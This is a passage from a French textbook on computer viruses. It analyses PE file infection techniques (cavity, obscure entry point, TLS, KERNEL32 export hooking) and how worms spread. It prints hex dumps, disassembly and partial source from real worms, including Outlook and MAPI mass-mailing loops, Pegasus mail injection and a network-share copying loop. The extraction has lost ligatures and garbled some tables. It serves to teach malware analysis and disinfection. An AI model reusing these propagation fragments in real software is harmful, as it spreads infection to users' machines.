00970F 00971F 00972F 00973F 00974F 00975F 00976F 00977F 00978F 00979F 0097AF 0097BF 0097CF ED 0C CD 34 9F 8B 00 04 DA DD 6D 38 00 7A B2 E6 D4 F0 E8 00 7E C8 67 DD 5B 00 81 31 12 E5 A0 81 41 71 27 0F 21 D1 00 F1 66 85 83 73 EE 8A F3 81 BF D9 E9 00 E7 8B 69 AD 67 01 AA 02 F9 CF 5A 9E 00 95 EB BA EC 37 00 F6 47 C0 E9 92 DB 00 BF 66 F3 38 71 00 33 03 F5 57 13 00 00 3B 8B 1A 39 59 00 33 EB B1 E8 7F 00 00 80 DA 6C 11 4E 0F 87 22 31 FF CF 00 00 D9 BD 77 8B 3B BF A6 79 0F FF F0 00 00 8F 13 E9 8F E7 EE 69 F9 85 19 79 00 00 80 82 1C C7 4F 8B EA 60 8A 00 99 00 00 DE 62 00 F9 80 CF A5 7D FF EB C8 00 00 C7 2C 00 6A E1 E9 B2 45 FF 98 E7 00 00 BF 80 00 81 27 1C 8F BA FF 07 5F 00 00 61 B6 B1 A1 66 00 05 33 80 3F 0A 00 00
183
00 00 00 00 00 00 00
00 50 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 5C 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 50 00 00 00 00
00 20 00 00 20 00
00 00 00 00 00 00
00 00 00 00 00 00
00 1C 00 00 50 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
Si le chier WRITE.EXE a pu subir linfection virale, cest quune zone libre sufsamment importante est la disposition du virus. Une tude du chier sain, montre en effet quaucun code nest prsent entre loffset 240h (n de lentte des sections) et loffset 1000h (dbut de la premire section). Cette zone ne contient quune succession de 00h. Cest cette particularit qui a permis au virus de sinstaller dans cet espace (entre loffset 240h et loffset 6A7h). Les puristes remarqueront que :
6A7h 240h = 467h, soit 1127 octets. 000240 E8 5F 03 00 00 2D 05 10 40 . . . 000530 77 42 03 0C 24 57 BE 00 10 000540 2B 4C 24 04 87 48 28 53 8B . . . 000670 69 65 77 4F 66 46 69 6C 65 000680 74 65 64 20 62 79 20 57 69 000690 68 6E 6F 4D 69 78 2E 48 61 0006A0 31 00 E9 D9 09 00 00 00 00 00 50 8B 44 24 04 25 40 00 03 73 0C 8B F9 D9 B9 67 04 00 00 F3 00 6E 72 00 00 33 6D 00 49 32 6C 00 6E 2E 65 00 66 54 73 00 65 65 73 00 63 63 2E 00 Infec ted by Win32.Tec hnoMix.Harmless.
Ladresse du point dentre dorigine se calcule partir dune valeur visible en n du code viral (le saut queffectue le virus pour rejoindre le code sain). Cest celle ci qui nous aidera, le moment venu rparer le chier :
Adresse actuelle du point dentre Valeur du saut Taille du virus = Adresse du point dentre dorigine
Dunod La photocopie non autorise est un dlit
184
CB0 CC0 CD0 CE0 CF0 D00 D10 D20 D30 D40 D50 D60 D70 D80 D90 DA0 DB0 DC0 DD0 DE0 DF0 E00 E10 E20
D1 7F B4 86 57 C5 9E 3B B6 69 9E 5D C3 33 74 0E DF 0E 35 B6 49 EC FD 1C
7F 70 4A 94 C6 7D 6F 7A 3C 47 BE BF 63 A0 C6 17 92 74 2E 55 19 63 C0 AC
28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 FE
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
A0 50 B4 99 80 E0 F0 00 90 10 80 80 40 30 D0 99 86 E0 99 E9 99 80 80 57
7C 71 5F 92 CD 84 70 A3 42 62 A0 A0 63 A4 CA 5A 92 66 5A 59 5A A0 A0 B0
28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 FE
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
06 64 5B 38 2B 49 6B BC B6 44 4A FF FB 5B F3 CE 49 6A 89 12 59 59 70
2A 76 57 B8 81 62 A2 62 16 82 C1 49 31 74 38 3A 9A 6E B1 4F AE 48 2E
28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
37 90 90 20 C0 80 00 20 31 20 80 90 E5 22 6C 60 DC 80 20 37 50 D7 99
32 AC 42 82 7C A0 BD 9E 52 7D A0 42 2F 67 36 5E 96 A4 C8 32 AF 52 5A
28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
Exemple :
Offset: 6249 6249 E8CF0C0100 E8323E0000 call call 000016F1D (fichier infect) 00000A080 (fichier sain)
185
Les uns modifient ladresse du point dentre du programme vers leur propre code. Les autres remplacent directement quelques octets au point dentre pour permettre au programme un saut, plus ou moins rapide, vers le code viral. An de parfaire leur camouage, certains virus cherchent placer ce saut, loin du point dentre, en le noyant dans le code lgitime du programme quil souhaite infecter. Il sagit alors de la mthode du point dentre obscur telle que le pratique le virus W32/Forforo.B. Nous allons examiner les consquences dune telle attaque sur notre chier leurre qui, avant infection, possde les caractristiques suivantes :
Offset du point dentreEP-RVA: 11B0h Adresse physique de ce point dentre: 5B0h Point dentre localis en premire section (.text) Adresse physique de la premire section: 0400h Adresse physique de la dernire section: 7C00h
Aprs avoir t infect, le chier a augment en taille. Il est pass de 32 768 octets 39 839 octets. Il se retrouve modi de la manire suivante (cf. tableau 5.9) :
Tableau 5.9 Principales modifications dun fichier aprs une infection par Fosforo Adresse Physique 12h D0h 220h 228h
Dunod La photocopie non autorise est un dlit
Remarques Marqueur dinfection Taille du programme [PE + 50h] Taille virtuelle de la dernire section Taille physique de la dernire section Caractristiques de la dernire section Point dentre obscur
23Ch 4B1h
Lappel (call) systme GetCurrentProcess a t remplac par un appel pointant sur une adresse inscrite dans la dernire section qui a, rappelons le, les caractristiques suivantes :
Adresse virtuelle : C000h (0040C000h) Taille virtuelle : 3FE0h
186
On retrouve effectivement ladresse indique la valeur 0040C583h qui pointe, 4 octets plus loin, au dbut du code viral.
.004011B0: 64A100000000 mov eax,fs:[00000000] (EP-RVA) .004011B6: 55 push ebp .004011B7: 8BEC mov ebp,esp ... ... .004010B0: 56 push esi .004010B1: FF157FC54000 call d,[0040C57F] (saut vers code viral) .004010B7: 50 push eax .004010B8: FF15ACB04000 call TerminateProcess ;KERNEL32.DLL .004010BE: C705A486400001000000 mov d,[004086A4],000000001 ------------------------------------------------------------------------------.0040C57F: 83C54000 .0040C583: 9C pushfd (dbut code viral) .0040C584: 60 pushad .0040C585: EB7A jmps .00040C601 ... ...
Celui ci sexcutera avant de nir son processus en redirigeant et en rtablissant en mmoire le branchement sur lappel systme original. Le programme pourra ainsi se poursuivre de la mme manire quavant linfection. Le seul cueil de ce type dattaque est un mauvais positionnement du saut (le point dentre obscur). Si celui ci se trouve inscrit dans une portion de code rarement, voire jamais, excut, le virus ne se propagera pas autant que son auteur laurait souhait. Moins dune quarantaine de virus utilisent cette technique. Elle oblige, en thorie, les anti-virus largir leur fentre danalyse la totalit de la section contenant le point dentre. Fort heureusement, une analyse rigoureuse de chaque virus permet gnralement de rduire la zone de recherche et donc, le temps de traitement. Le tableau 5.10 cite quelques virus utilisant la technique du point dentre obscur et la mthode de saut quils utilisent.
Tableau 5.10 Quelques virus utilisant la technique du point dentre obscur W95/Babylonia W32/Bagif W32/CTX W32/Chiton W32/Deemo
E8 xx xx xx xx (CALL : appel direct long inter-segment) E8 xx xx xx xx (CALL : appel direct long inter-segment) E9 xx xx xx xx (JMP : saut direct long inter-segment) E8 xx xx xx xx (CALL : appel direct long inter-segment) E9 xx xx xx xx (JMP : saut direct long inter-segment) BB xx xx xx xx (MOV) E8 xx xx xx xx (CALL : appel direct long inter-segment)
187
W32/Etap
FF 25 xx xx xx FF 35 xx xx xx inter-segment) E8 xx xx xx xx E9 xx xx xx xx 68 xx xx xx xx
xx (JMP : saut indirect long inter-segment) xx (PUSH : empilage dune donne mmoire (CALL : appel direct long inter-segment) (JMP : saut direct long inter-segment) c3 (PUSH : empilage dune valeur)
W32/Fosforo W32/Gobi W32/LDE W95/Legacy W32/LME W32/MTX W32/Rads W95/Rainsong W95/Tolone W32/Wratch W32/Zexam
FF 15 xx xx xx xx (CALL : appel indirect long inter-segment) FF 15 xx xx xx xx (CALL : appel indirect long inter-segment) 68 xx xx xx xx c3 (PUSH : empilage dune valeur) E8 xx xx xx xx (CALL : appel direct long inter-segment) E9 xx xx xx xx (JMP : saut direct long inter-segment) E9 xx xx xx xx (JMP : saut direct long inter-segment) FF 15 xx xx xx xx (CALL : appel indirect long inter-segment) E8 xx xx xx xx (CALL : appel direct long inter-segment) E8 xx xx xx xx (CALL : appel direct long inter-segment) E8 xx xx xx xx (CALL : appel direct long inter-segment) 68 xx xx xx xx c3 (PUSH : empilage dune valeur) E8 xx xx xx xx (CALL : appel direct long inter-segment)
Technologie a cavit
Nous allons examiner ici le cas de W32/Orez.5780 qui allie cette technique celle du point dentre obscur. Le virus ne modie pas le point dentre (EP-RVA) mais recherche un endroit pour positionner son saut vers le code viral. Lorsque la structure du programme le permet, le virus est capable de dissminer une routine de dcryptage polymorphique. Elle est constitue dinstructions uniques que le virus raccorde par des sauts successifs. Regardons laction du virus sur le chier MM2ENT.EXE (source Windows-98). Avant infection, et entre les offsets 1500h et 1660h, le code se prsente ainsi :
001500 001510 001520 001530 001540 001550 001560 001570 001580 001590 8B 45 5E 83 24 FF A1 68 40 8B 65 FC 5B 3D 04 15 F4 08 00 44 E8 FF 8B 3C 50 38 61 40 68 24 8B FF E5 40 E8 40 40 40 00 04 45 FF 5D 40 F8 40 00 00 40 6A E0 FF C3 00 0E 00 85 E8 40 00 50 8B CC 01 00 83 C0 D6 00 6A E8 45 CC 75 00 C4 74 00 E8 00 A4 F0 CC 05 83 04 02 00 C4 50 00 5F CC E8 C4 C3 FF 00 00 E8 00 64 CC C2 04 CC D0 83 00 32 00 A3 CC 0E 68 CC 68 C4 00 00 83 00 CC 00 FF CC 10 08 83 00 C4 00 CC 00 00 CC 40 68 C4 00 04 00 CC 8B 00 CC 40 04 08 83 C7 00 CC 44 00 CC 00 40 C3 C4
188
0015A0 0015B0 0015C0 0015D0 0015E0 0015F0 001600 001610 001620 001630 001640 001650 001660
0C 8B 0C C7 56 61 35 EE 14 00 75 56 85
C3 44 C3 05 8B 40 F8 04 40 68 0B 57 C0
CC 24 CC 88 5C 00 61 3B 40 20 8B 8B 74
CC 04 CC 40 24 00 40 35 00 40 44 74 02
CC 6A CC 40 14 74 00 F8 E8 40 24 24 FF
CC 00 CC 00 88 24 72 61 27 00 0C 10 D0
CC 6A CC 01 1D 8B 13 40 00 E8 50 8B 83
CC 01 CC 00 84 35 8B 00 00 15 FF 7C C7
CC 50 CC 00 40 F0 06 73 00 00 15 24 04
CC E8 CC 00 40 61 85 ED 83 00 80 0C 3B
CC 12 CC 83 00 40 C0 68 C4 00 71 3B F7
CC 00 CC 7C 75 00 74 1C 08 83 40 F7 77
CC 00 CC 24 3F 83 02 40 68 C4 00 76 F1
CC 00 CC 08 83 EE FF 40 24 08 5E 0F 5F
CC 83 CC 00 3D 04 D0 00 40 85 5B 8B 5E
CC C4 CC 53 F8 3B 83 68 40 DB C3 07 C3
On retrouve dans cette parcelle de code des zones inutilises. Elles sont occupes par des squences hexadcimales de type CCh (en gras et soulign). On remarque galement un appel indirect long inter-segment.
FF 15 80 71 40 00 call Exit Process ; Kernel32.dll
Lappel la fonction Exit Process a t remplac par un saut. Il sagit du point dentre obscur. Dans le cas prsent, il ne pointe pas, comme lhabitude, vers la dernire section du chier. Il redirige le programme vers une zone non utilise telle que celles dcrites plus haut. Cette zone contient une instruction et un autre saut. Linstruction fait parti de la routine polymorphe, le saut qui la suit permet daller linstruction suivante.
189
Ltude complte du code nous permet de dcouvrir la routine reprise ci-dessous. Pour en faciliter la comprhension, les sauts intermdiaires ont t omis. On retrouve en gras, les codes apparaissant dans le contenu du dump ci-dessus.
001647 001394 001526 0015A2 0015C2 001902 001CA2 0022F3 002664 0023F8 00155A 00194A 002648 0026C5 002762 002794 0027C1 002884 0029F4 002A31 Jmp pushad mov mov sub not sub ror add neg dec inc neg add not not mov add jne jmp popad push retn 00401394 (E9 48 FD FF FF) edx,000409000 ecx,[edx] ecx,056EDCABB ecx ecx,0CB674E3B ecx,013 acx,063517E2A ecx ecx ecx ecx ecx,03DF9C772 ecx ecx [edx],ecx edx,004 15A2 2A31 000409000
Infection TLS
Cette technique est utilise par quelques virus de la famille W32/Chiton. Elle est simple mais na pourtant t rencontre qu compter de lanne 2002. Il existe dans lentte optionnelle ladresse [PE + C0h] une entre peut usite et dnie en anglais comme RVA Thread Local Storage. Cette zone permet de grer des applications dans lesquelles, il ny a pas un, mais plusieurs ls dexcution (les threads) qui doivent partager les mmes donnes globales. Le stockage local permet chaque thread davoir sa propre copie de donnes. Dans la majorit des cas ladresse de la zone mmoire qui en permet la gestion est maintenue 00h. Si celle ci pointe vers une zone de code, celui-ci sera excut louverture du programme en complment du code principal. Dans le cas des variantes de W32/Chiton, le code viral est ajout en n de dernire section. Ladresse du premier octet est simplement inscrite dans lentte optionnelle [PE + C0h].
Infection de KERNEL32.DLL
W32/Kriz.4092 est un virus polymorphe qui infecte les fichiers EXE au format PE. Il attaque galement les API du noyau Windows KERNEL32.DLL. Pour faire cela, le virus dtourne 16 fonctions en modiant les adresses de la table Export. Les valeurs originales sont sauvegardes pour permettre un passage de main vers celles-ci une fois le code viral excut.
190
Le code ci-dessous reprend une partie de la table Export dun chier KERNEL32.DLL :
050480 050490 0504A0 0504B0 0504C0 0504D0 0504E0 0504F0 050500 050510 050520 050530 050540 050550 050770 050780 050790 0507A0 0507B0 050AE0 050AF0 050B00 050B10 050B20 F9 A6 E3 82 A6 56 D3 DC B6 1C 40 C5 2A 4C 94 93 C4 39 B5 3C FC 4C 67 3C 5B 90 14 90 90 72 90 90 5D 76 15 5B 5A 90 90 AB AE CF 6F 1A 1A C3 90 91 02 03 03 03 03 00 03 03 03 00 03 02 02 03 03 01 02 02 00 00 00 03 03 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 67 67 FC C1 82 D3 C1 8B A6 67 AD 31 4C 1B 28 63 67 60 94 B3 BF 4C CA 49 90 90 5A 90 90 90 90 90 90 90 15 90 90 79 90 06 90 71 1A 1A C3 90 75 01 03 03 02 03 03 03 03 03 03 03 03 03 03 00 03 03 03 00 00 00 03 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D4 1D 4C DF 82 5E C4 F1 6A 5F 73 31 A1 7E 31 4A F9 43 85 A3 97 FC 3F 67 15 26 90 7A 90 75 0B 75 6F 47 AF 90 0B B9 90 0F 06 90 58 1A 20 15 32 90 03 03 03 00 03 00 03 00 00 02 02 03 03 00 03 03 03 03 00 00 01 03 02 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A6 41 94 9E CF 67 45 82 AB A4 D1 A5 0F 5A 93 67 34 8A 94 16 6E 24 85 5E 90 7F 75 76 06 90 77 90 B9 68 AB 70 09 68 AB 90 7B C5 7A 1F 1E 16 7D 0D 03 00 00 00 03 03 00 03 03 00 01 00 03 04 01 03 00 02 00 00 01 03 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Une fois le chier infect, ces valeurs sont remplacs par un appel au code viral. titre exemple, on retrouve entre les offsets 50AE0h et 50B20h le code suivant :
050AE0 050AF0 050B00 050B10 050B20 3C FC 4C AA 3C 1A 1A C3 38 91 00 00 03 07 04 00 00 00 00 00 94 B3 BF A6 CA 1A 1A C3 38 75 00 00 03 07 00 00 00 00 00 00 A3 97 86 3F 67 1A 20 38 32 90 00 01 07 02 03 00 00 00 00 00 16 6E 8A 85 5E 1F 1E 38 7D 0D 00 01 07 00 03 00 00 00 00 00
Il est possible de remarquer que ces 4 adresses pointent au mme endroit. Une fois dtect le virus tant crypt et polymorphe il faut dcrypter le code viral. Ceci fait, on retrouve 2 tables qui contiennent les donnes crases. Lune contient les adresses et lautre les donnes associes.
000BA0 000BB0 000BC0 000BD0 000BE0 000C40 000C50 000C60 000C70 000C80 D4 15 03 00 34 7B 00 00 67 90 03 00 43 90 03 00 00 00 00 00 34 08 38 0C 05 0D 05 0D 05 05 05 05 00 00 00 00 DF FC C1 4C 7A 15 90 90 00 03 03 03 00 00 00 00 00 00 00 00 45 24 DC 67 B8 08 C4 14 77 16 90 90 04 0B 04 0B 00 03 03 03 05 05 05 05 00 00 00 00 00 00 00 00 AD 14 31 4C EC 0C F0 10 15 7B 90 90 04 0B 04 0B 03 00 03 03 05 05 05 05
88 04 05 00 9C 07 05 00 94 04 05 00 A8 07 05 00
191
Dans le cas ci-dessus, ces adresses sont directement rutilisables pour lradication. Dans certains cas un traitement complmentaire est ncessaire. Si le chier contient une section .edata, un paramtre doit tre ajout avant restitution :
Param = RVA(.edata) Adresse Phys.(.edata)
6
Les vers
Quils soient virus systme ou programme, les infections informatiques dtailles dans les deux chapitres prcdents saccomplissaient sur des machines isoles. Le saut dune machine vers une autre tait le rsultat dune action humaine involontaire mais bien relle. Avec les vers, nous allons maintenant rentrer dans lunivers des rseaux et prsenter des programmes capables de se propager de machine en machine de manire indpendante. Tout au long de ce chapitre nous allons en dcouvrir de nombreux types. Nous les classierons et les dtaillerons selon le langage dont ils sont issus puis selon leur mthode de propagation.
6.1 ACTIVATION
La mthode la plus simple consiste convaincre lutilisateur. La technique employe est celle du social engineering. Elle doit amener celui-ci ouvrir la pice jointe. Les recettes sont infinies : un message urgent arrive en provenance de lune de vos connaissances (W97M/Melissa@MM) : Attached is an important message for you. quelquun flatte votre vanit (VBS/LoveLetter@MM) : Open this message to see who loves you. une bonne affaire vous est propose (W32/Benjamin.worm) : Download this file to get copyrighted material for free.
194
Plus subtil, certains virus se contentent dune simple prvisualisation pour infester la machine. Ils utilisent pour cela diverses vulnrabilits dont la plus courante est rfrence MS01-0201. Le message est au format HTML ; la structure de son entte entrane lexcution du code malicieux ds que son destinataire en prend une connaissance sommaire au travers du panneau de prvisualisation de certains outils de messagerie (exemple W32/Badtrans@MM). Limprudence humaine est donc la cause premire de la russite de lattaque. Il existe cependant dautres types dactivation qui permettent au ver de sinltrer de lui-mme au sein des machines non protges : Par scanning squentiel ou alatoire la recherche de machines vulnrables (exemple W32/Code-Red.worm). Par lutilisation dune liste pr-tablie. Par auto gnration de listes au travers de mta-serveurs de jeux. Par technique topologique : analyse de lenvironnement de la machine infecte. De manire passive, en attendant quune victime se manifeste.
6.2 CLASSIFICATION
Sils ne sont ni des macro-virus, ni des virus de script, les vers peuvent tre classifis en fonction du compilateur qui a permis leur cration ou selon leur mthode de rplication. Ltude des similitudes permet ensuite la mise en uvre de procdures de dtection heuristique.
Prvisualisation
Lexploitation de la vulnrabilit MS99-0322 lie Internet Explorer permit un petit nombre de virus dagir sur simple prvisualisation. Le plus commun fut sans conteste JS/Kak@M avec Outlook Express 5.0. La prvisualisation entranait la cration dun chier kak.hta dans le rpertoire de dmarrage. Celui ci sexcutait la prochaine mise en route de la machine. Il modiait alors la conguration de loutil de messagerie en dnissant comme signature par dfaut un chier contenant le code viral (kak.htm). Cest ce chier qui contenait le code li
1. MS01-020 : malformed MIME exploit. 2. MS99-032 : scriptlet.typelib/Eyedog" Vulnerability.
6.2 Classification
195
la vulnrabilit. En temps que signature par dfaut, il se retrouvait automatiquement ajout la n de tout courrier de format HTML mis.
MTHODE Vulnrabilit Internet Explorer scriptlet.typelib/Eyedog CIBLE Outlook-Express 5 EXEMPLE DE VIRUS VBS/BubbleBoy.B@MMa JS/Kak@Mb DATE 11/99 10/99
a. Sous Outlook, Bubbleboy se propage galement de manire standard sur une ouverture par double-clic. b. SVAJCER Vanja, 2000, Kak-astrophic? Virus Bulletin. Mars 2000. p 7.
Sendkeys
La commande Sendkeys (EnvoiTouches) est lie au langage de macros. Elle permet de procder lenvoi de caractres depuis le clavier comme si lutilisateur sen chargeait de lui-mme. Avec cette mthode il fut un temps possible de calquer les commandes dun utilisateur et dautomatiser lenvoi de courriers infects.
MTHODE Sendkeys CIBLE MAPI (Microsoft Mail) Forte Agent Usenet Outlook Express EXEMPLE DE VIRUS WM/Sharefun.A@MMa W97M/PolyPoster.A@MMb (Lord Natas/CodeBreakers) W97M/AntiMarc@MM (Lord Natas/CodeBreakers) DATE 02/97 08/98 09/98
a. VB, 1997, Share and Share Alike, Virus Bulletin. Avril 1997 -pp 10-11. b. Tocheva Katrin,. 2001, Worming the Internet Part 1, Virus Bulletin. Octobre 2001. pp 14-15.
Dunod La photocopie non autorise est un dlit
196
CreateObject
Avec les systmes dexploitation Windows, la fonction CreateObject permet deux applications distinctes de communiquer entre elles. Disponible avec VBS et VBA, elle renouvela, en 1998, la cration dinfecteurs multi plateformes. Alors que O97M/Shiver utilise lchange dynamique de donnes1 entre Word97 et Excel97, O97M/Tristate sappuie sur le mcanisme normalis COM2. Manipulant les objets Active-X, CreateObject permit la commutation triangulaire pour les trois applications MS Word97, Excel97 et Powerpoint97. En voici le principe :
Set WordObj = GetObject(, "Word.Application") If WordObj = "" Then Set WordObj = CreateObject("Word.Application") WQuit = True End If [] Set PPObj = CreateObject("PowerPoint.Application") [] Set xlApp = CreateObject("Excel.Application")
W97M/ColdApe.A fut dcouvert la mme poque (novembre 1998). Ce fut le premier virus tablissant une interconnexion entre langage VBS et VBA3. Ce fut aussi le premier virus utilisant la fonction CreateObject pour mettre un courrier lectronique. Il ne sagissait pas encore dun mass-mailer ; le virus crait un chier VBS utilis ensuite pour lenvoi de courrier indsirable une adresse prcise (celle de Nick FitzGerald alors diteur du Virus Bulletin). En voil un apercu de la mthode :
Set IPSocket = CreateObject("MSWinsock.Winsock") IPADDY = IPSocket.LocalIP set BOB = CreateObject("Wscript.Network") [] Set theApp = WScript.CreateObject("Outlook.Application") Set theNameSpace = theApp.GetNameSpace("MAPI") theNameSpace.Logon "profile", "password" Set theMailItem = theApp.CreateItem(0) theMailItem.Recipients.Add EMADDY theMailItem.Subject = BOB.Username theMailItem.Body = MSGBDY theMailItem.Send theNameSpace.Logoff
1. DDE Dynamic Data Exchange. 2. COM Component Object Model. 3. Tocheva Katrin,. 2001, Worming the Internet Part 1, Virus Bulletin. Octobre 2001. pp 14-15.
6.2 Classification
197
La fonction CreateObject fut pour la premire fois utilise des ns de massmailer avec le virus W97M/Nail@MM. Plusieurs techniques furent ensuite mises au point.
MTHODE CreateObject CIBLE ("MAPI.Session") & .AddressLists ("Outlook.application") & .GetDefaultFolder ("Outlook.application") & .AddressLists PDF EXEMPLE DE VIRUS W97M/Nail.A@MM W97M/Mimir.A@MM W97M/Melissa.A@MM X97M/Papa.B@MM VBS/Peachy@MM DATE 03/99 05/99 03/99 04/99 08/01
MAPI&AddressLists Avec le virus Nail, la mthode utilise tait MAPI&AddressLists. Lauteur souhaitait ainsi saffranchir de loutil de messagerie et tre mme denvoyer des courriels pour peu que le client soit compatible avec le protocole MAPI1:
Set MAPISess = CreateObject("MAPI.Session") MAPISess.Logon [] For Each AdrEntry In MAPISess.AddressLists(1).AddressEntries Set Recp = objRecipients.Add(Name:=AdrEntry.Address, Type:=3) GInfo = GInfo + AdrEntry.Address + ";" Next [] MAPISess.Logoff
Ce virus tait galement particulier quant son mode de propagation. Le code VBA tait disponible au travers dun modle de chier prsent sur un site Web particulier (sourceofkaos.com).Il tait rfrenc comme modle distant au sein des chiers locaux infects. Le but recherch tait peut tre la diffusion de mises jours ou de variantes de ce code.
Outlook&AddressLists La mthode prcdente fut peu employe et lappel direct Outlook devint vite la manire la plus rpandue denvoyer des mails. Ce fut la technique employe par les virus tels que Melissa, Loveletter et Homepage. Elle fut non seulement copie et adapte de nombreuses fois, mais galement disponible au travers de gnrateurs de virus tels que ceux de la famille VBSWG. La procdure suivante est issue de la variante A de VBS/Loveletter@MM :
Cration dun objet "Outlook.Application" destin contrler Outlook :
set out=WScript.CreateObject("Outlook.Application")
198
Envoie du courrier :
- male.Send
Quelques virus associrent cette mthode des scnarios surprenants. Citons comme premier exemple, VBS/Vierika. Il arrivait par e-mail sous la forme dune petite pice jointe de 333 octets. Elle ne contenait pas le code viral mais un lien vers une page Web ou celui ci tait encapsul (http://www.geocities.com/msxxl/ Vindex2.html). Le virus dclarait cette page comme page de dmarrage par dfaut puis modiait la base de registres an de diminuer le niveau de scurit dInternet Explorer. Ce double changement de paramtres permettait lexcution en local du code viral distant ds louverture dInternet Explorer. De son cot, VBS/Loding nexpdiait aucune pice jointe. Le message contenait un lien Internet que le destinataire tait invit aller dcouvrir. Si celui ci possdait Internet Explorer 4 congur avec le niveau de scurit par dfaut (cest--dire Moyen) et sil dcidait de double-cliquer sur le lien, le code du virus, combinaison de JavaScript et de Visual Basic Script sexcutait. Il sagissait ici de la vulnrabilit MS00-0751. Elle entranait la rexpdition du mail lensemble des contacts lists dans le carnet dadresse
Outlook&GetDefaultFolder GetDefaultFolder est une autre mthode associe la fonction CreateObject. Elle est peu commune mais fut utilise avec succs pour les virus W97M/Mimir et W97M/ Lucia. Avec Mimir, elle se dcline de la manire suivante :
Cration dun objet "Outlook.Application" destin contrler Outlook :
Set MAkeNewEmail = CreateObject("outlook.application")
6.2 Classification
199
Envoie du courier :
.Send
W97M/Lucia pratique de la mme manire, cependant, les destinataires ne sont pas recherchs dans longlet contact dOutlook mais dans longlet Sentmail :
Set A = CreateObject("Outlook.Application") Set U = A.GetNamespace("MAPI"): Set M = U.GetDefaultFolder(5) For I = 1 To M.Items.Count
Mthode PDF Dcouvert en aot 2001, VBS/Peachy@MM dmontre que la plate-forme Adobe PDF1 peut tre affecte par un virus.
Il sagit en fait dun simple virus en VBScript qui utilise la mthode CreateObject pour ouvrir Outlook. Mais dans ce cas, le chier VBS est encapsul dans un chier PDF qui est attach au corps du message en temps que pice jointe. Le ver sactive si celle-ci est ouverte dans la mesure ou une version complte dAdobe Acrobat est installe sur la machine. Cette dernire condition tant rarement remplie, le ver nest quune preuve par lexemple qui est bien souvent incapable de se propager.
Dunod La photocopie non autorise est un dlit
Mthode Pegasus
Peu de virus se propagent au travers de lapplication Pegasus.
MTHODE Par ajout dans les fichiers *.pmw CIBLE Pegasus EXEMPLE DE VIRUS W97M/Moridin@MM (Asmodeus IKX) DATE 08/98
Outre lexcutable compil HLLP.Toadie@MM, citons pour le langage interprt W97M/Jim@MM et W97M/Moridin@MM. Le second est en fait une version corrige
200
du premier qui nimplmentait pas correctement le champ du destinataire et le laissait blanc. Les 2 macro-virus utilisent donc la mme mthode. Une fois le rpertoire de lapplication dtect, ils recherchent dans son arborescence les chiers prts tre envoys (.pmw). Utilisant les informations dcrivant le destinataire et le sujet du mail, ils ajoutent les champs ncessaires pour lenvoi complmentaire du corps du message et du document infect actif en pice jointe.
Pegasus: [] With Application.FileSearch .FileName = "\*.pmw" .LookIn = pega_dir .SearchSubFolders = True .MatchTextExactly = True .FileType = msoFileTypeAllFiles .Execute pega_mail = .FoundFiles(Cos(Atn(CInt(1)))) End With [] Open pega_mail For Input As #1 Line Input #1, mail_1 Line Input #1, mail_2 Line Input #1, mail_3 Line Input #1, mail_4 Line Input #1, mail_5 Close #1 If mail_2 = "SY:0" Then GoTo no_mail file_Ready: random_1 = Second(Now) Open pega_dir & "\mail\" & random_1 * random_1 & ".pmw" For Append As #3 Print #3, mail_1 Print #3, "SY:0" Print #3, mail_4 Print #3, mail_5 & " :-)" Print #3, "CC:" Print #3, "EN:0" Print #3, "CS:0" Print #3, "RC:0" Print #3, "DC:0" Print #3, "UR:0" Print #3, "SS:0" Print #3, "SG:0" Print #3, "MI:1" Print #3, "ID:<Default>" Print #3, "EX:0" Print #3, "AT:" & active_doc; ",Binary,1" Print #3, "RT: 1" Print #3, "FL:0" Print #3, "" Print #3, random_message Close #3
6.2 Classification
201
Vers du rseau
Le langage interprt a galement t parfois utilis pour la mise aux points de vers sinfiltrant au travers des rseaux locaux ou poste poste.
MTHODE Autorisation dextension Cration de leurres double extension Fonction copyfile CIBLE Poste Poste (Gnutella) Poste Poste (Kazaa) Disques partags locaux ou globaux EXEMPLE DE VIRUS VBS/GWV VBS/Sludge.worm (SlageHammer) VBS/Netlog DATE 03/00 0203 03/03
Citons comme exemples : VBS/GWV1. Il date de mai 2000 et sattaque au rseau Gnutella, concurrent de Napster. Il modifie le fichier Gnutella.ini en y ajoutant lextension .vbs dans la liste des extensions admises. Cela permet ensuite le transfert de ce nouveau type de fichiers :
Behavior Control Parameters Dim NewFilenames, GnutellaPath, GnutellaIni, VictimFilename NewFilenames = Array(ProgramName & ".vbs", "Jenna Jameson movie listing.vbs", "Pamela Anderson movie listing.vbs", "Asia Carerra movie listing.vbs", "xxx FTP movie listing.vbs", "ASF Compressor (No quality loss).vbs", "collegesex.vbs", "Gladiator.vbs" [] GnutellaPath = "C:\Program Files\gnutella\" GnutellaIni = GnutellaPath + "gnutella.ini" VictimFilename = "Yet another GWV! " (Gnutella Worm Victim :)
VBS/Netlog. Utilisant des combinaisons de nombres alatoires, il gnre des sries dadresses IP et tente de dcouvrir un disque distant contenant un rpertoire Windows. Il se copie alors dans celui ci ainsi que dans le rpertoire de dmarrage en esprant tre ainsi excut lors dun redmarrage de la machine :
do do while driveconnected = "0" checkaddress() shareformat() wshnetwork.mapnetworkdrive "z:", sharename enumdrives() loop copyfiles() disconnectdrive() loop
1. GWV Gnutella Worm Victim.
202
